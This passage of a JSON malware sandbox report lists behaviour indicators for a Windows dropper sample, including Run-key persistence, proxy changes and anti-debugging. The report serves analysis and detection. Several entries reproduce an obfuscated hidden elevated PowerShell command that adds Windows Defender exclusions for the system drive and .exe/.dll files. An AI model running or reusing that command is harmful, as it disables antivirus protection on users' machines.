Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Contains ability to modify processes thread functionality (API string)","description":"Observed API string:\"CreateThread\" [Source: b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Contains ability to read the PEB (Process Environment Block) structure","description":"\"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin\" can read PEB structure (dword ptr fs:[00000030h]) (Offset: 386891)","origin":"Binary File","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$29","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3344:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SmartLoader197\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3344:64:WilError_01\"\n \"Local\\SM0:3344:168:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:3344:64:WilError_01\"\n \"SmartLoader197\"\n \"Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7332:168:WilStaging_02\"\n \"Local\\SM0:7332:168:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Dotnet source code contains suspicious native API","description":"Observed API loadlibrarya in gona_1_.exe\n Observed API getprocaddress in gona_1_.exe\n Observed API loadlibrarya in trebo_1_.exe\n Observed API getprocaddress in trebo_1_.exe\n Observed API loadlibrarya in ringo_1_.exe\n Observed API getprocaddress in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-126","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"cannot open %s: %s\" (Indicator: \"open\")\n \"selectHtonumberHtostring\" (Indicator: \"select\")\n \"luaopen_%s\" (Indicator: \"open\")\n \"FlsGetValue\" (Indicator: \"FlsGetValue\")\n \"FlsSetValue\" (Indicator: \"FlsSetValue\")\n \"InitializeCriticalSectionEx\" (Indicator: \"InitializeCriticalSection\")\n \"CorExitProcess\" (Indicator: \"ExitProcess\")\n \"GetDateFormatEx\" (Indicator: \"GetDateFormatEx\")\n \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\")\n \"GetTimeFormatEx\" (Indicator: \"GetTimeFormatEx\")\n \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\")\n \"IsValidLocaleName\" (Indicator: \"IsValidLocale\")\n \"LocaleNameToLCID\" (Indicator: \"LocaleNameToLCID\")\n \"Too many open files in system\" (Indicator: \"open\")\n \"Too many open files\" (Indicator: \"open\")\n \"GetLastError\" (Indicator: \"GetLastError\")\n \"SetLastError\" (Indicator: \"SetLastError\")\n \"RaiseException\" (Indicator: \"RaiseException\")\n \"RtlUnwind\" (Indicator: \"RtlUnwind\")\n \"GetProcAddress\" (Indicator: \"GetProcAddress\")","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 6CDA0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 6CFB0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"powershell.exe\" touched \"NDP SymBinder\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\SERVER\")","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin\" has an executable section named \".text\"\n \"file.exe.bin\" has an executable section named \".text\"\n \"nika_1_.exe\" has an executable section named \".text\"\n \"gona_1_.exe\" has an executable section named \".text\"\n \"trebo_1_.exe\" has an executable section named \".text\"\n \"ringo1_1_.exe\" has an executable section named \".text\"\n \"ringo1_1_.exe\" has an executable section named \".N4'\"\n \"ringo1_1_.exe\" has an executable section named \".QX\"\", \"trebo1_1_.exe\" has an executable section named \".text\", \"ringo_1_.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin\" has an writable section named \".data\"\n \"file.exe.bin\" has an writable section named \".data\"\n \"ringo1_1_.exe\" has an writable section named \".data\"\n \"ringo1_1_.exe\" has an writable section named \".bss\"\n \"ringo1_1_.exe\" has an writable section named \".idata\"\n \"ringo1_1_.exe\" has an writable section named \".CRT\"\n \"ringo1_1_.exe\" has an writable section named \".tls\"\n \"ringo1_1_.exe\" has an writable section named \".y<c\"\n \"trebo1_1_.exe\" has an writable section named \".data\"","origin":"Static Parser","relevance":1,"id":"static-95","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$2a","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".QX\"\" is \"0x39e000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".N4'\" is \"0x1a504f\" greater than 0x100000\n Virtual size of \".QX\"\" is \"0x39de70\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Possibly use system binaries","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00003344-00000BC0-83363497]\n Observed system executable string:\"%WINDIR%\\System32\\conhost.exe\" [Source: 00000000-00007332-00000BC0-83466875]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$2b","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"powershell \"Start-Process <#uktpmebqco#> powershell <#uktpmebqco ...\" (UID: 00000000-00007332), Spawned process \"WerFault.exe\" with commandline \"-u -p 7332 -s 1696\" (UID: 00000000-00007548), Spawned process \"WerFault.exe\" with commandline \"-u -p 7332 -s 1696\" (UID: 00000000-00003904), Spawned process \"WerFault.exe\" with commandline \"-u -p 7332 -s 1732\" (UID: 00000000-00007744), Spawned process \"powershell.exe\" with commandline \"powershell \"Start-Process <#vfdaprhsfnazhooxw#> powershell <#vfd ...\" (UID: 00000000-00001108)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1108 -s 1328\" (UID: 00000000-00006040)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1108 -s 1328\" (UID: 00000000-00004448)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1108 -s 1328\" (UID: 00000000-00005648)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"powershell.exe\" with commandline \"powershell \"Start-Process <#uktpmebqco#> powershell <#uktpmebqco ...\" (UID: 00000000-00007332), Spawned process \"WerFault.exe\" with commandline \"-u -p 7332 -s 1696\" (UID: 00000000-00007548), Spawned process \"WerFault.exe\" with commandline \"-u -p 7332 -s 1696\" (UID: 00000000-00003904), Spawned process \"WerFault.exe\" with commandline \"-u -p 7332 -s 1732\" (UID: 00000000-00007744), Spawned process \"powershell.exe\" with commandline \"powershell \"Start-Process <#vfdaprhsfnazhooxw#> powershell <#vfd ...\" (UID: 00000000-00001108)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1108 -s 1328\" (UID: 00000000-00006040)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1108 -s 1328\" (UID: 00000000-00004448)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1108 -s 1328\" (UID: 00000000-00005648)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"file.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]\n \"nika_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"gona_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"trebo_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"ringo1_1_.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows\"- [targetUID: N/A]\n \"trebo1_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]\n \"ringo_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"Desktop\" has type \"empty\"- Location: [%USERPROFILE%\\Desktop]- [targetUID: 00000000-00003344]\n \"json_1_.json\" has type \"JSON data\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$2c","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files","description":"$2d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"file.exe\" called \"InternetReadFile\" with parameter 4095 (UID: 00000000-00003344)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to perform crypto operations","description":"Observed namespace system.security.cryptography in gona_1_.exe\n Observed namespace system.security.cryptography in trebo_1_.exe\n Observed namespace system.security.cryptography in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1573","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols","description":"Observed namespace system.net.networkinformation in gona_1_.exe\n Observed namespace system.net in gona_1_.exe\n Observed namespace system.net.networkinformation in trebo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"ip-api.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"file.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003344)\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00007332)\n \"file.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00006212)\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00001108)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"\"powershell.exe\" called \"FindFirstFileW\" (UID: 00000000-00007332)\n \"powershell.exe\" called \"FindNextFileW\" (UID: 00000000-00007332)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screenshot","description":"Observed function system.drawing.copyfromscreen in gona_1_.exe\n Observed function system.drawing.copyfromscreen in trebo_1_.exe\n Observed function system.drawing.copyfromscreen in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1113","relevance":1,"id":"static-113","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (mouse cursor movement)","description":"Found GetCursorPos() in an import section (Source: ringo1_1_.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Observed api string:\"FindNextFileW\" [Source: b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details","description":"Observed function get_processname in nika_1_.exe","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Observed API string:\"GetModuleFileName\" [Source: b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found Native API in Dotnet file","description":"Observed function OpenProcessToken in nika_1_.exe\n Observed function CloseHandle in nika_1_.exe\n Observed function ImpersonateLoggedOnUser in nika_1_.exe\n Observed function GetUserName in nika_1_.exe\n Observed function OpenSCManagerW in nika_1_.exe\n Observed function OpenServiceA in nika_1_.exe\n Observed function StartService in nika_1_.exe\n Observed function ControlService in nika_1_.exe\n Observed function ChangeServiceConfig in nika_1_.exe\n Observed function LoadLibraryA in gona_1_.exe\n Observed function GetProcAddress in gona_1_.exe\n Observed function LoadLibraryA in trebo_1_.exe\n Observed function GetProcAddress in trebo_1_.exe\n Observed function LoadLibraryA in ringo_1_.exe\n Observed function GetProcAddress in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: file.exe.bin]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: trebo1_1_.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Observed api string:\"ImpersonateLoggedOnUser which can Lets the calling thread impersonate the security context of a logged-on user\"[Source: nika_1_.exe.535778025]","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"file.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"powershell \"Start-Process <#uktpmebqco#> powershell <#uktpmebqco#> -Verb <#uktpmebqco#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'\" (UID: 00000000-00007332)\n Process \"powershell.exe\" with commandline \"powershell \"Start-Process <#vfdaprhsfnazhooxw#> powershell <#vfdaprhsfnazhooxw#> -Verb <#vfdaprhsfnazhooxw#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'\" (UID: 00000000-00001108)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"file.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"nika_1_.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"trebo1_1_.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".QX\" with unusual entropies 7.85947018231","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle for the specified module","description":"GetModuleHandleExW@KERNEL32.DLL at 00000000-00003344-60560-6-00A1F2D6\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00006212-1761-6-00A1F2D6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoA@KERNEL32.dll at 4306-1-0040531D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"6/70 Antivirus vendors marked sample as malicious (8% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"powershell \"Start-Process <#uktpmebqco#> powershell <#uktpmebqco#> -Verb <#uktpmebqco#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'\" (UID: 00000000-00007332)\n Process \"powershell.exe\" with commandline \"powershell \"Start-Process <#vfdaprhsfnazhooxw#> powershell <#vfdaprhsfnazhooxw#> -Verb <#vfdaprhsfnazhooxw#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'\" (UID: 00000000-00001108)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"file.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]\n \"nika_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"gona_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"trebo_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"ringo1_1_.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows\"- [targetUID: N/A]\n \"trebo1_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"- [targetUID: N/A]\n \"ringo_1_.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"file.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"FILE\"; Value: \"\"C:\\file.exe\" \"C:\\..converter.build86.1493470447.loader[197]_x86\")\n \"file.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$2e","origin":"API Call","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"file.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00007332)\n \"powershell.exe\" called \"GetNativeSystemInfo\" (UID: 00000000-00001108)","origin":"API Call","mitre_attack_id":"T1082","relevance":5,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineA@KERNEL32.dll at 4306-1-0040531D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Uses powershell to execute new process","description":"Process \"powershell.exe\" with commandline \"powershell \"Start-Process <#uktpmebqco#> powershell <#uktpmebqco#> -Verb <#uktpmebqco#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'\" (UID: 00000000-00007332)\n Process \"powershell.exe\" with commandline \"powershell \"Start-Process <#vfdaprhsfnazhooxw#> powershell <#vfdaprhsfnazhooxw#> -Verb <#vfdaprhsfnazhooxw#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'\" (UID: 00000000-00001108)","origin":"Monitored Target","mitre_attack_id":"T1543","relevance":5,"id":"target-249","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"file.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry 